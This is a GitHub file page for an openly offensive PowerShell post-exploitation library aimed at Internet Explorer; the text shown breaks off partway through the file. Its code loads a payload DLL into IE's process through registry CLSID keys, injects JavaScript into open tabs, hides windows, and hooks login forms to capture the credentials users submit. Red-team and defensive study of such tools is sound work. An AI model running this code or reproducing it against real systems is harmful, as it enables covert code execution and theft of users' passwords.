-
Notifications
You must be signed in to change notification settings - Fork 28
/
Invoke-PowerThIEf.ps1
executable file
·1379 lines (1227 loc) · 59 KB
/
Invoke-PowerThIEf.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
function Invoke-PowerThIEf {
<#
.SYNOPSIS
The PowerThIEf, an Internet Explorer Post Exploitation library
.DESCRIPTION
Author: Rob Maslen (@rbmaslen)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER action
The action to perform, can be one of
('ListUrls', 'Creds', 'ExecPayload', 'InvokeJS', 'DumpHtml', 'NewBackgroundTab','HookLoginForms', 'RemoveHooks', 'ListActions','HideWindow', 'ShowWindow','Navigate', 'Help')
.PARAMETER PathPayload
Path to the binary(DLL) to launch in IE's process, used with the ExecPayload action
.PARAMETER BrowserIndex
Index of the browser to inject the payload into, these are listed by the action ListUrls
.PARAMETER Script
The JavaScript to be invoked via InvokeJS flag")]
.PARAMETER SelectorType
The type of Selector when using DumpHtml can be either ('id','name','tag')
.PARAMETER Selector
DOM Object selector to locate when using DumpHtml, specify type in SelectorType [default is id].
.PARAMETER Output
Location for output which is either a file specified by OutputPath (or tempfile if thats blank), the screen[default] or to both. Can be either ('file','screen','both')
.PARAMETER OutputPath
Path to write output to if screen or both is selected in Output. If this is blank and either of those is selected a temp file will be written
.PARAMETER URLFilter
Regex to used to filter windows/tabs by URL when using ListUrls
.PARAMETER NavigateUrl
The URL to navigate to when using the Navigate action
.EXAMPLE
List URLs for all current IE browser sessions
Invoke-PowerThIEf -action ListUrls
.EXAMPLE
Launch the binary specified by the PathPayload param in IE's process
Invoke-PowerThIEf -action ExecPayload -PathPayload <path to the payload DLL(x64)>
.EXAMPLE
Invoke JavaScript in all currently opened IE windows and tabs
Invoke-PowerThIEf -action InvokeJS -Script <JavaScript to run>
.EXAMPLE
Invoke JavaScript in the selected IE window or tab. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action InvokeJS -BrowserIndex <BrowserIndex> -Script <JavaScript to run>
.EXAMPLE
Dump the HTML of all currently opened IE windows/tabs
Invoke-PowerThIEf -action DumpHTML
.EXAMPLE
Dump the HTML from the selected IE window or tab. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex>
.EXAMPLE
Dump the HTML from all tags of <type> in the DOM of the selected IE window or tab. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType tag -Selector <type>
e.g. Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType tag -Selector div
.EXAMPLE
Dump the HTML from any tag with the <id> found in the DOM of the selected IE window or tab. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType id -Selector <id>
e.g. Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType id -Selector idfirstdiv
.EXAMPLE
Dump the HTML from any tag with the <name> found in the DOM of the selected IE window or tab. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType name -Selector <name>
e.g. Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType name -Selector namefirstdiv
.EXAMPLE
Show all currently opened IE windows/tabs
Invoke-PowerThIEf -action ShowWindow
.EXAMPLE
Show the selected opened IE windows/tabs. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action ShowWindow -BrowserIndex <BrowserIndex>
.EXAMPLE
Hide all currently opened IE windows/tabs
Invoke-PowerThIEf -action HideWindow
.EXAMPLE
Hide the selected opened IE windows/tabs. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action HideWindow -BrowserIndex <BrowserIndex>
.EXAMPLE
Navigate all currently opened IE windows/tabs to the <URL>
Invoke-PowerThIEf -action Navigate -NavigateUrl <URL>
.EXAMPLE
Navigate all currently opened IE windows/tabs to the <URL>. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action Navigate -BrowserIndex <BrowserIndex> -NavigateUrl <URL>
.EXAMPLE
Navigate all currently opened IE windows/tabs to the <URL>. Use ListUrls to get the BrowserIndex to identify the Window/Tab
Invoke-PowerThIEf -action Navigate -BrowserIndex <BrowserIndex> -NavigateUrl <URL>
.EXAMPLE
Automatically scan any windows or tabs for login forms and record what gets posted. Once credentials have come in use -action creds to list them
Invoke-PowerThIEf -action HookLoginForms
.EXAMPLE
List any creds that have been captured
Invoke-PowerThIEf -action Creds
.EXAMPLE
Open a new background tab in the window that the <BrowserIndex> is in.
Invoke-PowerThIEf -action NewBackgroundTab -BrowserIndex <BrowserIndex>
#>
param(
# "ListUrls: List URLs for all current IE browser sessions"
# "ExecPayload: Launch the binary specified by the PathPayload param in IE's process")]
# "InvokeJS: Invoke JavaScript in all current IEs windows, one specified by a URLFilter or the BrowserIndex. Set script via -Script "
# "DumpHtml: Dump Inner HTML for the Selector and SelectorType"
# "Navigate: Navigate to the supplied url"
# "HideWindow: Hides the parent of the current tab, no way unfortunately currently to hide individual tabs"
# "ShowWindow: Sets the parent of the current tab to be visible"
# "NewBackgroundTab: Creates a tab on the selected IE Window"
# "HookLoginForms: Add an event to look for any login forms then dump any credentials that are POSTed"
# "RemoveHooks: Remove the WindowRegistered and WindowRevoked hooks added by Hooking the Login Form"
# "Creds: Dump the credentials that have been recovered by Hooking login forms"
[Parameter(Mandatory = $True, HelpMessage="Index of the browser to inject the payload into, this comes from a previous ListUrls")]
[ValidateSet('ListUrls', 'Creds', 'ExecPayload', 'InvokeJS', 'DumpHtml', 'NewBackgroundTab','HookLoginForms', 'RemoveHooks', 'ListActions','HideWindow', 'ShowWindow','Navigate', 'Help')]
[String]$Action,
[Parameter(Mandatory = $False,HelpMessage="Path to the binary(DLL) to launch in IE's process")]
[String]$PathPayload,
[Parameter(Mandatory = $False, HelpMessage="Index of the browser to inject the payload into, this comes from a previous ListUrls")]
[String] $BrowserIndex,
[Parameter(Mandatory = $False, HelpMessage="JavaScript to be invoked via InvokeJS flag")]
[String]$Script,
# Dump Html, the following support the dumping of the Inner HTML from an instance. Narrow the selection to dump by either using a target type of id, name or tagname
# jQuery selectors not supported juuuuuusssttt yet... You could invoke some script if you want
[ValidateSet('id','name','tag')]
[String]$SelectorType,
[Parameter(Mandatory = $False, HelpMessage="DOM Object selector to locate, specify type in SelectorType [default is id]. Used by DumpHtml")]
[String]$Selector,
[Parameter(Mandatory = $False, HelpMessage="Location for output which is either a file specified by OutputPath (or tempfile if thats blank), the screen[default] or to both")]
[ValidateSet('file','screen','both')]
[String]$Output,
[Parameter(Mandatory = $False, HelpMessage="Path to write output to if screen or both is selected in Output. If this is blank and either of those is selected a temp file will be written ")]
[String]$OutputPath,
[Parameter(Mandatory = $False, HelpMessage="Regex to filter URLS")]
[String]$URLFilter,
[Parameter(Mandatory = $False, HelpMessage="URL to navigate to")]
[String]$NavigateUrl
)
# ShellWindows enables the enumeration of all IE and Explorer Windows
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974(v=vs.85).aspx
# Not really used just left in for curiousity.
function ActivateShellWindows
{
[OutputType([System.__ComObject])]
Param()
if (!$gShellWindows)
{
Write-Host "[-] Activating ShellWindows CLSID {9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
# ShellWindows CLSID
$typeShWin = [System.Type]::GetTypeFromCLSID([System.Guid]::Parse("9BA05972-F6A8-11CF-A442-00A0C90A8F39"))
#Create an instance of shellWindows
$shWin = [System.Activator]::CreateInstance($typeShWin)
Set-Variable -Name "gShellWindows" -Value $shWin -Scope Global -Description "ShDocVw.ShellWindowsClass"
,$shWin
}
else {
,$gShellWindows
}
}
# Enumerates the ShellWinow.Items collection object looking for IExplorer instances
# Translates the HWND to a PID via GetWindowThreadProcessId see above
function getIEInstances
{
[OutputType([System.Collections.ArrayList])]
Param(
[Parameter(Mandatory = $False)]
[System.__ComObject]$ShellWindows
)
[System.Collections.ArrayList]$results = @()
Write-Host "[-] Looking for instances of IE"
Foreach($shell in $ShellWindows)
{
# Really dirty way to tell if explorer or iexplore ohh well
$fileName = [System.IO.Path]::GetFileNameWithoutExtension($shell.FullName).ToLower();
if ($fileName.Equals("iexplore"))
{
if ($shell)
{
$instance = [PSCustomObject]@{
Browser = $shell
URL = $shell.LocationURL
INDEX = [WindowHelper]::GetHWNDFromDocument($shell.Document)
}
[void]$results.Add($instance)
}
}
}
,$results
}
function getFilteredIEInstances
{
[OutputType([System.Collections.ArrayList])]
Param(
[Parameter(Mandatory = $False)]
[System.__ComObject]$ShellWindows
)
[System.Collections.ArrayList]$results = @()
if ($BrowserIndex -gt 0 -or [string]::IsNullOrEmpty($URLFilter))
{
if ($BrowserIndex -gt 0)
{
Write-Host "[-] Browser Index of $BrowserIndex"
}
if (![System.String]::IsNullOrEmpty($URLFilter))
{
Write-Host "[-] URL filter of $URLFilter"
}
}
$ieInstances = getIEInstances -ShellWindows $ShellWindows
foreach($instance in $ieInstances)
{
# Check to see if this is one we want, first check for the HWND of the document then regex the URL
if (![System.String]::IsNullOrEmpty($BrowserIndex) -and $BrowserIndex -ne $instance.INDEX)
{
continue
}
if (![string]::IsNullOrEmpty($URLFilter))
{
if (!$instance.URL -match $URLFilter)
{
continue
}
}
[void]$results.Add($instance)
}
,$results
}
# The following functions support the loading of payloads via the Software\Classes\CLSID\{<GUID>} Shell integration
# Modification of b33f's Hook-InProcServer https://github.com/FuzzySecurity/DefCon25 covered in his COM Hijacking live session
# Well worth the cost of support via Patreon!!
# This isn't COM hijacking, this is process migration into IE via IWebBrowser2::Navigate2 https://msdn.microsoft.com/en-us/library/aa752134(v=vs.85).aspx
function buildRegistrykey
{
[OutputType([System.Guid])]
Param(
[Parameter(Mandatory=$true)]
[String]$Payload
)
$CLSID = ([System.Guid]::NewGuid().ToString())
New-Item -Path "HKCU:\Software\Classes\CLSID" -ErrorAction SilentlyContinue | Out-Null
New-Item -Path "HKCU:\Software\Classes\CLSID\{$CLSID}" | Out-Null
New-Item -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" | Out-Null
New-Item -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder" | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" -Name "(default)" -Value $Payload | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" -Name "ThreadingModel" -Value "Apartment" | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" -Name "LoadWithoutCOM" -Value "" | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder" -Name "HideOnDesktop" -Value "" | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder" -Name "Attributes" -Value 0xf090013d -PropertyType DWORD | Out-Null
Write-Host "[+] Registry key built at HKCU:\Software\Classes\CLSID\{$CLSID}"
,$CLSID
}
function cleanUpRegistry
{
Param(
[Parameter(Mandatory=$true)]
[System.Guid]$CLSID
)
Write-Host "[!] Time to cleanup HKCU:\Software\Classes\CLSID\{$CLSID}"
Remove-Item -Recurse -Force -Path "HKCU:\Software\Classes\CLSID\{$CLSID}"
Write-Host "[+] Done"
}
function LoadFullIEFrame
{
[OutputType([System.__ComObject])]
Param()
# Generally we shouldn't need to use this however (this is now the default it's just easier)
# For some reason when you activate {9BA05972-F6A8-11CF-A442-00A0C90A8F39} the instance returned is missing
# a few interfaces such as DShellWindowsEvents
# https://msdn.microsoft.com/en-us/library/windows/desktop/cc836565(v=vs.85).aspx
# This contains the events WindowRegistered and WindowRevoked which are useful for tracking window opens and closes
# Code here loads ieframe.dll and then generates an in-memory assembly from the type library
# it's based upon the MSDN sample at https://msdn.microsoft.com/en-us/library/k9w7de3e.aspx
# We shouldn't need to do this everytime (but i am sue me), only if we track windows for login form thievery
# Also uses some example code from
# https://social.msdn.microsoft.com/Forums/sqlserver/en-US/73bd1e9c-81a6-44ba-81b4-fbbb469c770e/
if (!$globalTrackIEFrameLoaded)
{
Write-Host "[-] Loading ieframe.dll and generating assembly from type library"
$source = @"
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using mshtml;
public static class WindowHelper
{
[DllImport("user32")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32")]
public static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);
[DllImport("user32")]
public static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint GetCurrentThreadId();
[DllImport("user32.dll")]
static extern IntPtr GetFocus();
[DllImport("user32.dll")]
static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
public static IntPtr GetFocusedControl()
{
uint id = 0;
var hFore = GetForegroundWindow();
AttachThreadInput(GetWindowThreadProcessId(hFore, out id), GetCurrentThreadId(), true);
var hFocus = GetFocus();
AttachThreadInput(GetWindowThreadProcessId(hFore, out id), GetCurrentThreadId(), false);
return hFocus;
}
public static IntPtr GetHWNDFromDocument(HTMLDocumentClass pdocument)
{
var hwnd = IntPtr.Zero;
var wind = pdocument as IOleWindow;
if (null != wind)
wind.GetWindow(out hwnd);
return hwnd;
}
}
[ComImport]
[Guid("00000114-0000-0000-C000-000000000046")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
public interface IOleWindow
{
void GetWindow(out IntPtr phwnd);
void ContextSensitiveHelp([In, MarshalAs(UnmanagedType.Bool)] bool fEnterMode);
}
public static class TlbImport
{
public enum RegKind
{
RegKind_Default = 0,
RegKind_Register = 1,
RegKind_None = 2
}
[DllImport("oleaut32.dll", CharSet = CharSet.Unicode, PreserveSig = false)]
public static extern void LoadTypeLibEx(String strTypeLibName, RegKind regKind,
[MarshalAs(UnmanagedType.Interface)] out Object typeLib);
}
public class ConversionEventHandler : ITypeLibImporterNotifySink
{
public void ReportEvent(ImporterEventKind eventKind, int eventCode, string eventMsg){}
public Assembly ResolveRef(object typeLib){ return null;}
}
"@
Add-Type -TypeDefinition $source -Language CSharp -ReferencedAssemblies Microsoft.CSharp,Microsoft.mshtml
$typeLib = new-object -TypeName System.Object
if ([Environment]::Is64BitProcess -or !([Environment]::Is64BitOperatingSystem))
{
if ([Environment]::Is64BitOperatingSystem)
{
Write-Host "[+] 64bit detected loading C:\\Windows\\System32\\ieframe.dll"
}
else
{
Write-Host "[+] 32bit detected loading C:\\Windows\\System32\\ieframe.dll"
}
[TlbImport]::LoadTypeLibEx( "C:\\Windows\\System32\\ieframe.dll", [TlbImport+RegKind]::RegKind_None, [ref] $typeLib)
} else
{
if (![Environment]::Is64BitProcess -and [Environment]::Is64BitOperatingSystem)
{
Write-Host "[+] SySWOW64bit detected loading C:\\Windows\\SysWOW64\\ieframe.dll"
[TlbImport]::LoadTypeLibEx( "C:\\Windows\\SysWOW64\\ieframe.dll", [TlbImport+RegKind]::RegKind_None, [ref] $typeLib)
}
}
$t = new-object -TypeName System.Runtime.InteropServices.TypeLibConverter
$asm = $t.ConvertTypeLibToAssembly($typeLib, "SHDocVW.dll", 0, (new-object -TypeName ConversionEventHandler), $null, $null, "SHDocVW", $null)
Write-Host "[+] SHDocVW assembly generated"
# Also need to add the HtmlProxy but we need to load the previous classes first
$shw = new-object -TypeName SHDocVW.ShellWindowsClass
Set-Variable -Name "gShellWindows" -Value $shw -Scope Script -Description "Instance of ShellWindowsClass"
AddTypeHtmlEventProxy
Write-Host "[+] ShellWindowsClass created"
Set-Variable -Name "globalTrackIEFrameLoaded" -Value $true -Scope global -Description "used to track the loading of ieframe.dll"
Set-Variable -Name "SHDocVW" -Value $asm -Scope Script -Description "Assembly containing types from ieframe.dll"
,$shw
}
else {
,$gShellWindows
}
}
function AddTypeHtmlEventProxy
{
# Builds an HTML Event Proxy which uses this article as inspiration
# https://www.codeproject.com/Articles/25769/Handling-HTML-Events-from-NET-using-C
# Uses IReflect to emulate IDispatch, at this stage only takes an Action<Object>
# to be fired on the registered event. The Object is the DOM object the event has
# triggered on. This could definitely be improved but it's enough atm.
$source = @"
using System;
using System.Reflection;
using System.Globalization;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Runtime.CompilerServices;
using System.Text.RegularExpressions;
using mshtml;
public class HtmlEventProxy : BaseEventProxy
{
public Action<Object> callback { get; set; }
static Dictionary<String, HtmlEventProxy> mapSrcIdToEvent { get; set; }
object _locker = new object();
IReflect typeIReflectImplementation;
IHTMLElement2 htmlElement = null;
string eventName = null;
string EventIdentifier = null;
static HtmlEventProxy()
{
mapSrcIdToEvent = new Dictionary<String, HtmlEventProxy>();
}
public static bool CheckIfHandled(string eventName, IHTMLElement2 htmlElement)
{
foreach (var h in mapSrcIdToEvent.Values)
{
if (h.htmlElement == htmlElement && h.eventName == eventName)
return true;
}
return false;
}
HtmlEventProxy(string eventName, IHTMLElement2 htmlElement, String EventIdentifier, Action<Object> callback)
{
this.callback = callback;
this.eventName = eventName;
this.htmlElement = htmlElement;
Type type = typeof(HtmlEventProxy);
this.typeIReflectImplementation = type;
}
public static HtmlEventProxy Create(string eventName, IHTMLElement2 htmlElement, String EventIdentifier, Action<Object> callback)
{
if (mapSrcIdToEvent.ContainsKey(EventIdentifier))
{
return mapSrcIdToEvent[EventIdentifier];
}
else
{
IHTMLElement2 elem = htmlElement;
HtmlEventProxy newProxy = new HtmlEventProxy(eventName, elem, EventIdentifier, callback);
elem.attachEvent(eventName, newProxy);
mapSrcIdToEvent.Add(EventIdentifier, newProxy);
return newProxy;
}
}
public static void Detach(String EventIdentifier)
{
if (mapSrcIdToEvent.ContainsKey(EventIdentifier))
{
mapSrcIdToEvent[EventIdentifier].Detach();
}
}
public void Detach()
{
lock (this)
{
if (this.htmlElement != null)
{
IHTMLElement2 elem = htmlElement;
elem.detachEvent(this.eventName, this);
this.htmlElement = null;
}
mapSrcIdToEvent.Remove(EventIdentifier);
}
}
public IHTMLElement2 HTMLElement
{
get
{
return this.htmlElement;
}
}
public override object InvokeMember(string name, BindingFlags invokeAttr, Binder binder, object target, object[] args, ParameterModifier[] modifiers, CultureInfo culture, string[] namedParameters)
{
if (name == "[DISPID=0]")
{
if (this.callback != null)
this.callback.Invoke(target);
}
return null;
}
public override void Dispose()
{
Detach();
}
}
public class DipatchEventProxy : BaseEventProxy
{
object _locker = new object();
Dictionary<int, Action<object, object[]>> mapDispIdToHandler = new Dictionary<int, Action<object, object[]>>();
IConnectionPointContainer _connPointContainer;
IConnectionPoint _iconnpoint = null;
int _cookie;
public DipatchEventProxy(object connPointContainer, Guid EventInterfaceID)
{
if (null == (connPointContainer as IConnectionPointContainer))
throw new Exception("Object passed can not cast to IConnectionPointContainer");
_connPointContainer = connPointContainer as IConnectionPointContainer;
_connPointContainer.FindConnectionPoint(EventInterfaceID, out _iconnpoint);
if (null == _iconnpoint)
throw new Exception(String.Format("IConnectionPoint is null for GUID {0}",EventInterfaceID));
_iconnpoint.Advise(this, out _cookie);
}
public void AddDispatchHandler(int dispid, Action<object, object[]> eventHandler)
{
lock (_locker)
{
if (!mapDispIdToHandler.ContainsKey(dispid))
mapDispIdToHandler.Add(dispid, eventHandler);
else
mapDispIdToHandler[dispid] = eventHandler;
}
}
public void DetachAll()
{
lock(_locker)
{
_iconnpoint.Unadvise(_cookie);
mapDispIdToHandler.Clear();
}
}
public void Detach(int dispid)
{
lock (_locker)
{
if (mapDispIdToHandler.ContainsKey(dispid))
mapDispIdToHandler.Remove(dispid);
}
}
public override object InvokeMember(string name, BindingFlags invokeAttr, Binder binder, object target, object[] args, ParameterModifier[] modifiers, CultureInfo culture, string[] namedParameters)
{
Int32 dispid = -1;
if (Int32.TryParse(new Regex(@"(?<=\[DISPID=)\d*?(?=\])").Match(name).Value, out dispid))
{
lock (_locker)
{
if (mapDispIdToHandler.ContainsKey(dispid))
mapDispIdToHandler[dispid].Invoke(target, args);
}
}
return null;
}
public override void Dispose()
{
base.Dispose();
DetachAll();
}
}
[Guid("B196B284-BAB4-101A-B69C-00AA00341D07")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[ComImport]
public interface IConnectionPointContainer
{
void EnumConnectionPoints(out IEnumConnectionPoints ppEnum);
void FindConnectionPoint([In] ref Guid riid, out IConnectionPoint ppCP);
}
[Guid("B196B287-BAB4-101A-B69C-00AA00341D07")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[ComImport]
public interface IEnumConnections
{
[MethodImpl(MethodImplOptions.PreserveSig)]
int Next(int celt, [MarshalAs(UnmanagedType.LPArray), Out] CONNECTDATA[] rgelt, IntPtr pceltFetched);
[MethodImpl(MethodImplOptions.PreserveSig)]
int Skip(int celt);
void Reset();
void Clone(out IEnumConnections ppenum);
}
[Guid("B196B285-BAB4-101A-B69C-00AA00341D07")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[ComImport]
public interface IEnumConnectionPoints
{
[MethodImpl(MethodImplOptions.PreserveSig)]
int Next(int celt, [MarshalAs(UnmanagedType.LPArray), Out] IConnectionPoint[] rgelt, IntPtr pceltFetched);
[MethodImpl(MethodImplOptions.PreserveSig)]
int Skip(int celt);
void Reset();
void Clone(out IEnumConnectionPoints ppenum);
}
[Guid("B196B286-BAB4-101A-B69C-00AA00341D07")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[ComImport]
public interface IConnectionPoint
{
void GetConnectionInterface(out Guid pIID);
void GetConnectionPointContainer(out IConnectionPointContainer ppCPC);
void Advise([MarshalAs(UnmanagedType.Interface)] object pUnkSink, out int pdwCookie);
void Unadvise(int dwCookie);
void EnumConnections(out IEnumConnections ppEnum);
}
public abstract class BaseEventProxy : IDisposable, IReflect
{
IReflect typeIReflectImplementation { get {return this.GetType(); } }
public BaseEventProxy()
{
}
FieldInfo IReflect.GetField(string name, BindingFlags bindingAttr)
{
return this.typeIReflectImplementation.GetField(name, bindingAttr);
}
FieldInfo[] IReflect.GetFields(BindingFlags bindingAttr)
{
return this.typeIReflectImplementation.GetFields(bindingAttr);
}
MemberInfo[] IReflect.GetMember(string name, BindingFlags bindingAttr)
{
return this.typeIReflectImplementation.GetMember(name, bindingAttr);
}
MemberInfo[] IReflect.GetMembers(BindingFlags bindingAttr)
{
return this.typeIReflectImplementation.GetMembers(bindingAttr);
}
MethodInfo IReflect.GetMethod(string name, BindingFlags bindingAttr)
{
return this.typeIReflectImplementation.GetMethod(name, bindingAttr);
}
MethodInfo IReflect.GetMethod(string name, BindingFlags bindingAttr, Binder binder, Type[] types, ParameterModifier[] modifiers)
{
return this.typeIReflectImplementation.GetMethod(name, bindingAttr, binder, types, modifiers);
}
MethodInfo[] IReflect.GetMethods(BindingFlags bindingAttr)
{
return this.typeIReflectImplementation.GetMethods(bindingAttr);
}
PropertyInfo[] IReflect.GetProperties(BindingFlags bindingAttr)
{
return this.typeIReflectImplementation.GetProperties(bindingAttr);
}
PropertyInfo IReflect.GetProperty(string name, BindingFlags bindingAttr)
{
return this.typeIReflectImplementation.GetProperty(name, bindingAttr);
}
PropertyInfo IReflect.GetProperty(string name, BindingFlags bindingAttr, Binder binder, Type returnType, Type[] types, ParameterModifier[] modifiers)
{
return this.typeIReflectImplementation.GetProperty(name, bindingAttr, binder, returnType, types, modifiers);
}
public virtual object InvokeMember(string name, BindingFlags invokeAttr, Binder binder, object target, object[] args, ParameterModifier[] modifiers, CultureInfo culture, string[] namedParameters)
{
return null;
}
Type IReflect.UnderlyingSystemType
{
get
{
return this.typeIReflectImplementation.UnderlyingSystemType;
}
}
public virtual void Dispose()
{
}
}
public class LoginFormDetector
{
static List<String> inputLoginNames = new List<String>() { "login", "username", "password", "email", "address", "sudo", "passwd", "loginfmt", "pass", "uid", "userid", "token", "passcode","code" };
static bool CheckPossibleLoginForm(mshtml.HTMLFormElement form)
{
var autocomplete = form.getAttribute("autocomplete");
if (autocomplete == "off")
return true;
var action = form.action;
if (action.ToLower().Contains("login"))
return true;
return false;
}
static bool CheckForPasswordField(mshtml.HTMLFormElement form)
{
foreach (mshtml.IHTMLElement input in form.getElementsByTagName("password"))
return true;
return false;
}
public static bool CheckPossibleLoginInput(mshtml.HTMLFormElement form)
{
bool foundLoginForm = CheckForPasswordField(form) && CheckPossibleLoginForm(form);
if (!foundLoginForm)
{
foreach (mshtml.IHTMLElement input in form.getElementsByTagName("input"))
{
var inputName = ((String)input.getAttribute("name")).ToLower();
if (!String.IsNullOrWhiteSpace(inputName) && !foundLoginForm)
{
foreach(var a in inputLoginNames)
{
if (inputName.Contains(a) && !foundLoginForm)
{
foundLoginForm = true;
break;
}
}
}
}
}
return foundLoginForm;
}
}
public class LoginFormHooker
{
dynamic _ie;
static Action<String, List<String>> CredAddedCallback { get; set; }
static Dictionary<String, List<String>> _credsFound = new Dictionary<string, List<String>>();
static Dictionary<String, LoginFormHooker> _mapIdToFormHooker = new Dictionary<string, LoginFormHooker>();
bool hooked = false;
HtmlEventProxy formHook;
public LoginFormHooker(dynamic ie, String id)
{
_mapIdToFormHooker.Add(id, this);
_ie = ie;
//Yeah this is not ideal load of HardCoded stuff but it's COM and Globally Unique
//So shouldn't change.....
var IID_DWebBrowserEvents2 = Guid.Parse("34a715a0-6587-11d0-924a-0020afc7ac4d");
var handler = new DipatchEventProxy(ie, IID_DWebBrowserEvents2);
//DispatchId of 259 relates to the event DocumentComplete on DWebBrowserEvents2
handler.AddDispatchHandler(259, (o, a) => {
FindAndHookLoginForm();
});
FindAndHookLoginForm();
}
